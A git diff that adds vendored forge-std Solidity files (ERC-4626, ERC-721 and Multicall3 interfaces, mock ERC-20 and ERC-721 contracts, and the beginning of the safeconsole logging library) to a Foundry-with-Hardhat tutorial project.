+    /// - MUST be inclusive of withdrawal fees. Integrators should be aware of the existence of withdrawal fees.
+    /// - MUST NOT revert.
+    ///
+    /// NOTE: any unfavorable discrepancy between convertToShares and previewWithdraw SHOULD be considered slippage in
+    /// share price or some other type of condition, meaning the depositor will lose assets by depositing.
+    function previewWithdraw(uint256 assets) external view returns (uint256 shares);
+
+    /// @notice Burns shares from owner and sends exactly assets of underlying tokens to receiver.
+    /// @dev
+    /// - MUST emit the Withdraw event.
+    /// - MAY support an additional flow in which the underlying tokens are owned by the Vault contract before the
+    ///   withdraw execution, and are accounted for during withdraw.
+    /// - MUST revert if all of assets cannot be withdrawn (due to withdrawal limit being reached, slippage, the owner
+    ///   not having enough shares, etc).
+    ///
+    /// Note that some implementations will require pre-requesting to the Vault before a withdrawal may be performed.
+    /// Those methods should be performed separately.
+    function withdraw(uint256 assets, address receiver, address owner) external returns (uint256 shares);
+
+    /// @notice Returns the maximum amount of Vault shares that can be redeemed from the owner balance in the Vault,
+    /// through a redeem call.
+    /// @dev
+    /// - MUST return a limited value if owner is subject to some withdrawal limit or timelock.
+    /// - MUST return balanceOf(owner) if owner is not subject to any withdrawal limit or timelock.
+    /// - MUST NOT revert.
+    function maxRedeem(address owner) external view returns (uint256 maxShares);
+
+    /// @notice Allows an on-chain or off-chain user to simulate the effects of their redeemption at the current block,
+    /// given current on-chain conditions.
+    /// @dev
+    /// - MUST return as close to and no more than the exact amount of assets that would be withdrawn in a redeem call
+    ///   in the same transaction. I.e. redeem should return the same or more assets as previewRedeem if called in the
+    ///   same transaction.
+    /// - MUST NOT account for redemption limits like those returned from maxRedeem and should always act as though the
+    ///   redemption would be accepted, regardless if the user has enough shares, etc.
+    /// - MUST be inclusive of withdrawal fees. Integrators should be aware of the existence of withdrawal fees.
+    /// - MUST NOT revert.
+    ///
+    /// NOTE: any unfavorable discrepancy between convertToAssets and previewRedeem SHOULD be considered slippage in
+    /// share price or some other type of condition, meaning the depositor will lose assets by redeeming.
+    function previewRedeem(uint256 shares) external view returns (uint256 assets);
+
+    /// @notice Burns exactly shares from owner and sends assets of underlying tokens to receiver.
+    /// @dev
+    /// - MUST emit the Withdraw event.
+    /// - MAY support an additional flow in which the underlying tokens are owned by the Vault contract before the
+    ///   redeem execution, and are accounted for during redeem.
+    /// - MUST revert if all of shares cannot be redeemed (due to withdrawal limit being reached, slippage, the owner
+    ///   not having enough shares, etc).
+    ///
+    /// NOTE: some implementations will require pre-requesting to the Vault before a withdrawal may be performed.
+    /// Those methods should be performed separately.
+    function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets);
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/interfaces/IERC721.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/interfaces/IERC721.sol
new file mode 100644
index 000000000..248830867
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/interfaces/IERC721.sol
@@ -0,0 +1,162 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2;
+
+import './IERC165.sol';
+
+/// @title ERC-721 Non-Fungible Token Standard
+/// @dev See https://eips.ethereum.org/EIPS/eip-721
+/// Note: the ERC-165 identifier for this interface is 0x80ac58cd.
+interface IERC721 is IERC165 {
+    /// @dev This emits when ownership of any NFT changes by any mechanism.
+    /// This event emits when NFTs are created (`from` == 0) and destroyed
+    /// (`to` == 0). Exception: during contract creation, any number of NFTs
+    /// may be created and assigned without emitting Transfer. At the time of
+    /// any transfer, the approved address for that NFT (if any) is reset to none.
+    event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
+
+    /// @dev This emits when the approved address for an NFT is changed or
+    /// reaffirmed. The zero address indicates there is no approved address.
+    /// When a Transfer event emits, this also indicates that the approved
+    /// address for that NFT (if any) is reset to none.
+    event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
+
+    /// @dev This emits when an operator is enabled or disabled for an owner.
+    /// The operator can manage all NFTs of the owner.
+    event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
+
+    /// @notice Count all NFTs assigned to an owner
+    /// @dev NFTs assigned to the zero address are considered invalid, and this
+    /// function throws for queries about the zero address.
+    /// @param _owner An address for whom to query the balance
+    /// @return The number of NFTs owned by `_owner`, possibly zero
+    function balanceOf(address _owner) external view returns (uint256);
+
+    /// @notice Find the owner of an NFT
+    /// @dev NFTs assigned to zero address are considered invalid, and queries
+    /// about them do throw.
+    /// @param _tokenId The identifier for an NFT
+    /// @return The address of the owner of the NFT
+    function ownerOf(uint256 _tokenId) external view returns (address);
+
+    /// @notice Transfers the ownership of an NFT from one address to another address
+    /// @dev Throws unless `msg.sender` is the current owner, an authorized
+    /// operator, or the approved address for this NFT. Throws if `_from` is
+    /// not the current owner. Throws if `_to` is the zero address. Throws if
+    /// `_tokenId` is not a valid NFT. When transfer is complete, this function
+    /// checks if `_to` is a smart contract (code size > 0). If so, it calls
+    /// `onERC721Received` on `_to` and throws if the return value is not
+    /// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
+    /// @param _from The current owner of the NFT
+    /// @param _to The new owner
+    /// @param _tokenId The NFT to transfer
+    /// @param data Additional data with no specified format, sent in call to `_to`
+    function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata data) external payable;
+
+    /// @notice Transfers the ownership of an NFT from one address to another address
+    /// @dev This works identically to the other function with an extra data parameter,
+    /// except this function just sets data to "".
+    /// @param _from The current owner of the NFT
+    /// @param _to The new owner
+    /// @param _tokenId The NFT to transfer
+    function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
+
+    /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
+    /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
+    /// THEY MAY BE PERMANENTLY LOST
+    /// @dev Throws unless `msg.sender` is the current owner, an authorized
+    /// operator, or the approved address for this NFT. Throws if `_from` is
+    /// not the current owner. Throws if `_to` is the zero address. Throws if
+    /// `_tokenId` is not a valid NFT.
+    /// @param _from The current owner of the NFT
+    /// @param _to The new owner
+    /// @param _tokenId The NFT to transfer
+    function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
+
+    /// @notice Change or reaffirm the approved address for an NFT
+    /// @dev The zero address indicates there is no approved address.
+    /// Throws unless `msg.sender` is the current NFT owner, or an authorized
+    /// operator of the current owner.
+    /// @param _approved The new approved NFT controller
+    /// @param _tokenId The NFT to approve
+    function approve(address _approved, uint256 _tokenId) external payable;
+
+    /// @notice Enable or disable approval for a third party ("operator") to manage
+    /// all of `msg.sender`'s assets
+    /// @dev Emits the ApprovalForAll event. The contract MUST allow
+    /// multiple operators per owner.
+    /// @param _operator Address to add to the set of authorized operators
+    /// @param _approved True if the operator is approved, false to revoke approval
+    function setApprovalForAll(address _operator, bool _approved) external;
+
+    /// @notice Get the approved address for a single NFT
+    /// @dev Throws if `_tokenId` is not a valid NFT.
+    /// @param _tokenId The NFT to find the approved address for
+    /// @return The approved address for this NFT, or the zero address if there is none
+    function getApproved(uint256 _tokenId) external view returns (address);
+
+    /// @notice Query if an address is an authorized operator for another address
+    /// @param _owner The address that owns the NFTs
+    /// @param _operator The address that acts on behalf of the owner
+    /// @return True if `_operator` is an approved operator for `_owner`, false otherwise
+    function isApprovedForAll(address _owner, address _operator) external view returns (bool);
+}
+
+/// @dev Note: the ERC-165 identifier for this interface is 0x150b7a02.
+interface IERC721TokenReceiver {
+    /// @notice Handle the receipt of an NFT
+    /// @dev The ERC721 smart contract calls this function on the recipient
+    /// after a `transfer`. This function MAY throw to revert and reject the
+    /// transfer. Return of other than the magic value MUST result in the
+    /// transaction being reverted.
+    /// Note: the contract address is always the message sender.
+    /// @param _operator The address which called `safeTransferFrom` function
+    /// @param _from The address which previously owned the token
+    /// @param _tokenId The NFT identifier which is being transferred
+    /// @param _data Additional data with no specified format
+    /// @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
+    ///  unless throwing
+    function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4);
+}
+
+/// @title ERC-721 Non-Fungible Token Standard, optional metadata extension
+/// @dev See https://eips.ethereum.org/EIPS/eip-721
+/// Note: the ERC-165 identifier for this interface is 0x5b5e139f.
+interface IERC721Metadata is IERC721 {
+    /// @notice A descriptive name for a collection of NFTs in this contract
+    function name() external view returns (string memory _name);
+
+    /// @notice An abbreviated name for NFTs in this contract
+    function symbol() external view returns (string memory _symbol);
+
+    /// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
+    /// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
+    /// 3986. The URI may point to a JSON file that conforms to the "ERC721
+    /// Metadata JSON Schema".
+    function tokenURI(uint256 _tokenId) external view returns (string memory);
+}
+
+/// @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
+/// @dev See https://eips.ethereum.org/EIPS/eip-721
+/// Note: the ERC-165 identifier for this interface is 0x780e9d63.
+interface IERC721Enumerable is IERC721 {
+    /// @notice Count NFTs tracked by this contract
+    /// @return A count of valid NFTs tracked by this contract, where each one of
+    /// them has an assigned and queryable owner not equal to the zero address
+    function totalSupply() external view returns (uint256);
+
+    /// @notice Enumerate valid NFTs
+    /// @dev Throws if `_index` >= `totalSupply()`.
+    /// @param _index A counter less than `totalSupply()`
+    /// @return The token identifier for the `_index`th NFT,
+    /// (sort order not specified)
+    function tokenByIndex(uint256 _index) external view returns (uint256);
+
+    /// @notice Enumerate NFTs assigned to an owner
+    /// @dev Throws if `_index` >= `balanceOf(_owner)` or if
+    /// `_owner` is the zero address, representing invalid NFTs.
+    /// @param _owner An address where we are interested in NFTs owned by them
+    /// @param _index A counter less than `balanceOf(_owner)`
+    /// @return The token identifier for the `_index`th NFT assigned to `_owner`,
+    /// (sort order not specified)
+    function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/interfaces/IMulticall3.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/interfaces/IMulticall3.sol
new file mode 100644
index 000000000..1d752df66
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/interfaces/IMulticall3.sol
@@ -0,0 +1,64 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+interface IMulticall3 {
+    struct Call {
+        address target;
+        bytes callData;
+    }
+
+    struct Call3 {
+        address target;
+        bool allowFailure;
+        bytes callData;
+    }
+
+    struct Call3Value {
+        address target;
+        bool allowFailure;
+        uint256 value;
+        bytes callData;
+    }
+
+    struct Result {
+        bool success;
+        bytes returnData;
+    }
+
+    function aggregate(Call[] calldata calls) external payable returns (uint256 blockNumber, bytes[] memory returnData);
+
+    function aggregate3(Call3[] calldata calls) external payable returns (Result[] memory returnData);
+
+    function aggregate3Value(Call3Value[] calldata calls) external payable returns (Result[] memory returnData);
+
+    function blockAndAggregate(Call[] calldata calls) external payable returns (uint256 blockNumber, bytes32 blockHash, Result[] memory returnData);
+
+    function getBasefee() external view returns (uint256 basefee);
+
+    function getBlockHash(uint256 blockNumber) external view returns (bytes32 blockHash);
+
+    function getBlockNumber() external view returns (uint256 blockNumber);
+
+    function getChainId() external view returns (uint256 chainid);
+
+    function getCurrentBlockCoinbase() external view returns (address coinbase);
+
+    function getCurrentBlockDifficulty() external view returns (uint256 difficulty);
+
+    function getCurrentBlockGasLimit() external view returns (uint256 gaslimit);
+
+    function getCurrentBlockTimestamp() external view returns (uint256 timestamp);
+
+    function getEthBalance(address addr) external view returns (uint256 balance);
+
+    function getLastBlockHash() external view returns (bytes32 blockHash);
+
+    function tryAggregate(bool requireSuccess, Call[] calldata calls) external payable returns (Result[] memory returnData);
+
+    function tryBlockAndAggregate(
+        bool requireSuccess,
+        Call[] calldata calls
+    ) external payable returns (uint256 blockNumber, bytes32 blockHash, Result[] memory returnData);
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/mocks/MockERC20.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/mocks/MockERC20.sol
new file mode 100644
index 000000000..3c8dc9151
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/mocks/MockERC20.sol
@@ -0,0 +1,230 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+import {IERC20} from '../interfaces/IERC20.sol';
+
+/// @notice This is a mock contract of the ERC20 standard for testing purposes only, it SHOULD NOT be used in production.
+/// @dev Forked from: https://github.com/transmissions11/solmate/blob/0384dbaaa4fcb5715738a9254a7c0a4cb62cf458/src/tokens/ERC20.sol
+contract MockERC20 is IERC20 {
+    /*//////////////////////////////////////////////////////////////
+                            METADATA STORAGE
+    //////////////////////////////////////////////////////////////*/
+
+    string internal _name;
+
+    string internal _symbol;
+
+    uint8 internal _decimals;
+
+    function name() external view override returns (string memory) {
+        return _name;
+    }
+
+    function symbol() external view override returns (string memory) {
+        return _symbol;
+    }
+
+    function decimals() external view override returns (uint8) {
+        return _decimals;
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                              ERC20 STORAGE
+    //////////////////////////////////////////////////////////////*/
+
+    uint256 internal _totalSupply;
+
+    mapping(address => uint256) internal _balanceOf;
+
+    mapping(address => mapping(address => uint256)) internal _allowance;
+
+    function totalSupply() external view override returns (uint256) {
+        return _totalSupply;
+    }
+
+    function balanceOf(address owner) external view override returns (uint256) {
+        return _balanceOf[owner];
+    }
+
+    function allowance(address owner, address spender) external view override returns (uint256) {
+        return _allowance[owner][spender];
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                            EIP-2612 STORAGE
+    //////////////////////////////////////////////////////////////*/
+
+    uint256 internal INITIAL_CHAIN_ID;
+
+    bytes32 internal INITIAL_DOMAIN_SEPARATOR;
+
+    mapping(address => uint256) public nonces;
+
+    /*//////////////////////////////////////////////////////////////
+                               INITIALIZE
+    //////////////////////////////////////////////////////////////*/
+
+    /// @dev A bool to track whether the contract has been initialized.
+    bool private initialized;
+
+    /// @dev To hide constructor warnings across solc versions due to different constructor visibility requirements and
+    /// syntaxes, we add an initialization function that can be called only once.
+    function initialize(string memory name_, string memory symbol_, uint8 decimals_) public {
+        require(!initialized, 'ALREADY_INITIALIZED');
+
+        _name = name_;
+        _symbol = symbol_;
+        _decimals = decimals_;
+
+        INITIAL_CHAIN_ID = _pureChainId();
+        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
+
+        initialized = true;
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                               ERC20 LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    function approve(address spender, uint256 amount) public virtual override returns (bool) {
+        _allowance[msg.sender][spender] = amount;
+
+        emit Approval(msg.sender, spender, amount);
+
+        return true;
+    }
+
+    function transfer(address to, uint256 amount) public virtual override returns (bool) {
+        _balanceOf[msg.sender] = _sub(_balanceOf[msg.sender], amount);
+        _balanceOf[to] = _add(_balanceOf[to], amount);
+
+        emit Transfer(msg.sender, to, amount);
+
+        return true;
+    }
+
+    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
+        uint256 allowed = _allowance[from][msg.sender]; // Saves gas for limited approvals.
+
+        if (allowed != ~uint256(0)) _allowance[from][msg.sender] = _sub(allowed, amount);
+
+        _balanceOf[from] = _sub(_balanceOf[from], amount);
+        _balanceOf[to] = _add(_balanceOf[to], amount);
+
+        emit Transfer(from, to, amount);
+
+        return true;
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                             EIP-2612 LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual {
+        require(deadline >= block.timestamp, 'PERMIT_DEADLINE_EXPIRED');
+
+        address recoveredAddress = ecrecover(
+            keccak256(
+                abi.encodePacked(
+                    '\x19\x01',
+                    DOMAIN_SEPARATOR(),
+                    keccak256(
+                        abi.encode(
+                            keccak256('Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)'),
+                            owner,
+                            spender,
+                            value,
+                            nonces[owner]++,
+                            deadline
+                        )
+                    )
+                )
+            ),
+            v,
+            r,
+            s
+        );
+
+        require(recoveredAddress != address(0) && recoveredAddress == owner, 'INVALID_SIGNER');
+
+        _allowance[recoveredAddress][spender] = value;
+
+        emit Approval(owner, spender, value);
+    }
+
+    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
+        return _pureChainId() == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
+    }
+
+    function computeDomainSeparator() internal view virtual returns (bytes32) {
+        return
+            keccak256(
+                abi.encode(
+                    keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
+                    keccak256(bytes(_name)),
+                    keccak256('1'),
+                    _pureChainId(),
+                    address(this)
+                )
+            );
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                        INTERNAL MINT/BURN LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    function _mint(address to, uint256 amount) internal virtual {
+        _totalSupply = _add(_totalSupply, amount);
+        _balanceOf[to] = _add(_balanceOf[to], amount);
+
+        emit Transfer(address(0), to, amount);
+    }
+
+    function _burn(address from, uint256 amount) internal virtual {
+        _balanceOf[from] = _sub(_balanceOf[from], amount);
+        _totalSupply = _sub(_totalSupply, amount);
+
+        emit Transfer(from, address(0), amount);
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                        INTERNAL SAFE MATH LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    function _add(uint256 a, uint256 b) internal pure returns (uint256) {
+        uint256 c = a + b;
+        require(c >= a, 'ERC20: addition overflow');
+        return c;
+    }
+
+    function _sub(uint256 a, uint256 b) internal pure returns (uint256) {
+        require(a >= b, 'ERC20: subtraction underflow');
+        return a - b;
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                                HELPERS
+    //////////////////////////////////////////////////////////////*/
+
+    // We use this complex approach of `_viewChainId` and `_pureChainId` to ensure there are no
+    // compiler warnings when accessing chain ID in any solidity version supported by forge-std. We
+    // can't simply access the chain ID in a normal view or pure function because the solc View Pure
+    // Checker changed `chainid` from pure to view in 0.8.0.
+    function _viewChainId() private view returns (uint256 chainId) {
+        // Assembly required since `block.chainid` was introduced in 0.8.0.
+        assembly {
+            chainId := chainid()
+        }
+
+        address(this); // Silence warnings in older Solc versions.
+    }
+
+    function _pureChainId() private pure returns (uint256 chainId) {
+        function() internal view returns (uint256) fnIn = _viewChainId;
+        function() internal pure returns (uint256) pureChainId;
+        assembly {
+            pureChainId := fnIn
+        }
+        chainId = pureChainId();
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/mocks/MockERC721.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/mocks/MockERC721.sol
new file mode 100644
index 000000000..070aeff62
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/mocks/MockERC721.sol
@@ -0,0 +1,223 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+import {IERC721Metadata} from '../interfaces/IERC721.sol';
+
+/// @notice This is a mock contract of the ERC721 standard for testing purposes only, it SHOULD NOT be used in production.
+/// @dev Forked from: https://github.com/transmissions11/solmate/blob/0384dbaaa4fcb5715738a9254a7c0a4cb62cf458/src/tokens/ERC721.sol
+contract MockERC721 is IERC721Metadata {
+    /*//////////////////////////////////////////////////////////////
+                         METADATA STORAGE/LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    string internal _name;
+
+    string internal _symbol;
+
+    function name() external view override returns (string memory) {
+        return _name;
+    }
+
+    function symbol() external view override returns (string memory) {
+        return _symbol;
+    }
+
+    function tokenURI(uint256 id) public view virtual override returns (string memory) {}
+
+    /*//////////////////////////////////////////////////////////////
+                      ERC721 BALANCE/OWNER STORAGE
+    //////////////////////////////////////////////////////////////*/
+
+    mapping(uint256 => address) internal _ownerOf;
+
+    mapping(address => uint256) internal _balanceOf;
+
+    function ownerOf(uint256 id) public view virtual override returns (address owner) {
+        require((owner = _ownerOf[id]) != address(0), 'NOT_MINTED');
+    }
+
+    function balanceOf(address owner) public view virtual override returns (uint256) {
+        require(owner != address(0), 'ZERO_ADDRESS');
+
+        return _balanceOf[owner];
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                         ERC721 APPROVAL STORAGE
+    //////////////////////////////////////////////////////////////*/
+
+    mapping(uint256 => address) internal _getApproved;
+
+    mapping(address => mapping(address => bool)) internal _isApprovedForAll;
+
+    function getApproved(uint256 id) public view virtual override returns (address) {
+        return _getApproved[id];
+    }
+
+    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
+        return _isApprovedForAll[owner][operator];
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                               INITIALIZE
+    //////////////////////////////////////////////////////////////*/
+
+    /// @dev A bool to track whether the contract has been initialized.
+    bool private initialized;
+
+    /// @dev To hide constructor warnings across solc versions due to different constructor visibility requirements and
+    /// syntaxes, we add an initialization function that can be called only once.
+    function initialize(string memory name_, string memory symbol_) public {
+        require(!initialized, 'ALREADY_INITIALIZED');
+
+        _name = name_;
+        _symbol = symbol_;
+
+        initialized = true;
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                              ERC721 LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    function approve(address spender, uint256 id) public payable virtual override {
+        address owner = _ownerOf[id];
+
+        require(msg.sender == owner || _isApprovedForAll[owner][msg.sender], 'NOT_AUTHORIZED');
+
+        _getApproved[id] = spender;
+
+        emit Approval(owner, spender, id);
+    }
+
+    function setApprovalForAll(address operator, bool approved) public virtual override {
+        _isApprovedForAll[msg.sender][operator] = approved;
+
+        emit ApprovalForAll(msg.sender, operator, approved);
+    }
+
+    function transferFrom(address from, address to, uint256 id) public payable virtual override {
+        require(from == _ownerOf[id], 'WRONG_FROM');
+
+        require(to != address(0), 'INVALID_RECIPIENT');
+
+        require(msg.sender == from || _isApprovedForAll[from][msg.sender] || msg.sender == _getApproved[id], 'NOT_AUTHORIZED');
+
+        // Underflow of the sender's balance is impossible because we check for
+        // ownership above and the recipient's balance can't realistically overflow.
+        _balanceOf[from]--;
+
+        _balanceOf[to]++;
+
+        _ownerOf[id] = to;
+
+        delete _getApproved[id];
+
+        emit Transfer(from, to, id);
+    }
+
+    function safeTransferFrom(address from, address to, uint256 id) public payable virtual override {
+        transferFrom(from, to, id);
+
+        require(
+            !_isContract(to) || IERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, '') == IERC721TokenReceiver.onERC721Received.selector,
+            'UNSAFE_RECIPIENT'
+        );
+    }
+
+    function safeTransferFrom(address from, address to, uint256 id, bytes memory data) public payable virtual override {
+        transferFrom(from, to, id);
+
+        require(
+            !_isContract(to) ||
+                IERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, data) == IERC721TokenReceiver.onERC721Received.selector,
+            'UNSAFE_RECIPIENT'
+        );
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                              ERC165 LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
+        return
+            interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165
+            interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721
+            interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                        INTERNAL MINT/BURN LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    function _mint(address to, uint256 id) internal virtual {
+        require(to != address(0), 'INVALID_RECIPIENT');
+
+        require(_ownerOf[id] == address(0), 'ALREADY_MINTED');
+
+        // Counter overflow is incredibly unrealistic.
+
+        _balanceOf[to]++;
+
+        _ownerOf[id] = to;
+
+        emit Transfer(address(0), to, id);
+    }
+
+    function _burn(uint256 id) internal virtual {
+        address owner = _ownerOf[id];
+
+        require(owner != address(0), 'NOT_MINTED');
+
+        _balanceOf[owner]--;
+
+        delete _ownerOf[id];
+
+        delete _getApproved[id];
+
+        emit Transfer(owner, address(0), id);
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                        INTERNAL SAFE MINT LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    function _safeMint(address to, uint256 id) internal virtual {
+        _mint(to, id);
+
+        require(
+            !_isContract(to) ||
+                IERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, '') == IERC721TokenReceiver.onERC721Received.selector,
+            'UNSAFE_RECIPIENT'
+        );
+    }
+
+    function _safeMint(address to, uint256 id, bytes memory data) internal virtual {
+        _mint(to, id);
+
+        require(
+            !_isContract(to) ||
+                IERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, data) == IERC721TokenReceiver.onERC721Received.selector,
+            'UNSAFE_RECIPIENT'
+        );
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                                HELPERS
+    //////////////////////////////////////////////////////////////*/
+
+    function _isContract(address _addr) private view returns (bool) {
+        uint256 codeLength;
+
+        // Assembly required for versions < 0.8.0 to check extcodesize.
+        assembly {
+            codeLength := extcodesize(_addr)
+        }
+
+        return codeLength > 0;
+    }
+}
+
+interface IERC721TokenReceiver {
+    function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4);
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/safeconsole.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/safeconsole.sol
new file mode 100644
index 000000000..4137e29e0
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/safeconsole.sol
@@ -0,0 +1,15008 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+/// @author philogy <https://github.com/philogy>
+/// @dev Code generated automatically by script.
+library safeconsole {
+    uint256 constant CONSOLE_ADDR = 0x000000000000000000000000000000000000000000636F6e736F6c652e6c6f67;
+
+    // Credit to [0age](https://twitter.com/z0age/status/1654922202930888704) and [0xdapper](https://github.com/foundry-rs/forge-std/pull/374)
+    // for the view-to-pure log trick.
+    function _sendLogPayload(uint256 offset, uint256 size) private pure {
+        function(uint256, uint256) internal view fnIn = _sendLogPayloadView;
+        function(uint256, uint256) internal pure pureSendLogPayload;
+        assembly {
+            pureSendLogPayload := fnIn
+        }
+        pureSendLogPayload(offset, size);
+    }
+
+    function _sendLogPayloadView(uint256 offset, uint256 size) private view {
+        assembly {
+            pop(staticcall(gas(), CONSOLE_ADDR, offset, size, 0x0, 0x0))
+        }
+    }
+
+    function _memcopy(uint256 fromOffset, uint256 toOffset, uint256 length) private pure {
+        function(uint256, uint256, uint256) internal view fnIn = _memcopyView;
+        function(uint256, uint256, uint256) internal pure pureMemcopy;
+        assembly {
+            pureMemcopy := fnIn
+        }
+        pureMemcopy(fromOffset, toOffset, length);
+    }
+
+    function _memcopyView(uint256 fromOffset, uint256 toOffset, uint256 length) private view {
+        assembly {
+            pop(staticcall(gas(), 0x4, fromOffset, length, toOffset, length))
+        }
+    }
+
+    function logMemory(uint256 offset, uint256 length) internal pure {
+        if (offset >= 0x60) {
+            // Sufficient memory before slice to prepare call header.
+            bytes32 m0;
+            bytes32 m1;
+            bytes32 m2;
+            assembly {
+                m0 := mload(sub(offset, 0x60))
+                m1 := mload(sub(offset, 0x40))
+                m2 := mload(sub(offset, 0x20))
+                // Selector of `logBytes(bytes)`.
+                mstore(sub(offset, 0x60), 0xe17bf956)
+                mstore(sub(offset, 0x40), 0x20)
+                mstore(sub(offset, 0x20), length)
+            }
+            _sendLogPayload(offset - 0x44, length + 0x44);
+            assembly {
+                mstore(sub(offset, 0x60), m0)
+                mstore(sub(offset, 0x40), m1)
+                mstore(sub(offset, 0x20), m2)
+            }
+        } else {
+            // Insufficient space, so copy slice forward, add header and reverse.
+            bytes32 m0;
+            bytes32 m1;
+            bytes32 m2;
+            uint256 endOffset = offset + length;
+            assembly {
+                m0 := mload(add(endOffset, 0x00))
+                m1 := mload(add(endOffset, 0x20))
+                m2 := mload(add(endOffset, 0x40))
+            }
+            _memcopy(offset, offset + 0x60, length);
+            assembly {
+                // Selector of `logBytes(bytes)`.
+                mstore(add(offset, 0x00), 0xe17bf956)
+                mstore(add(offset, 0x20), 0x20)
+                mstore(add(offset, 0x40), length)
+            }
+            _sendLogPayload(offset + 0x1c, length + 0x44);
+            _memcopy(offset + 0x60, offset, length);
+            assembly {
+                mstore(add(endOffset, 0x00), m0)
+                mstore(add(endOffset, 0x20), m1)
+                mstore(add(endOffset, 0x40), m2)
+            }
+        }
+    }
+
+    function log(address p0) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            // Selector of `log(address)`.
+            mstore(0x00, 0x2c2ecbc2)
+            mstore(0x20, p0)
+        }
+        _sendLogPayload(0x1c, 0x24);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+        }
+    }
+
+    function log(bool p0) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            // Selector of `log(bool)`.
+            mstore(0x00, 0x32458eed)
+            mstore(0x20, p0)
+        }
+        _sendLogPayload(0x1c, 0x24);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+        }
+    }
+
+    function log(uint256 p0) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            // Selector of `log(uint256)`.
+            mstore(0x00, 0xf82c50f1)
+            mstore(0x20, p0)
+        }
+        _sendLogPayload(0x1c, 0x24);
+        assembly {
+            mstore(0x00, m0)
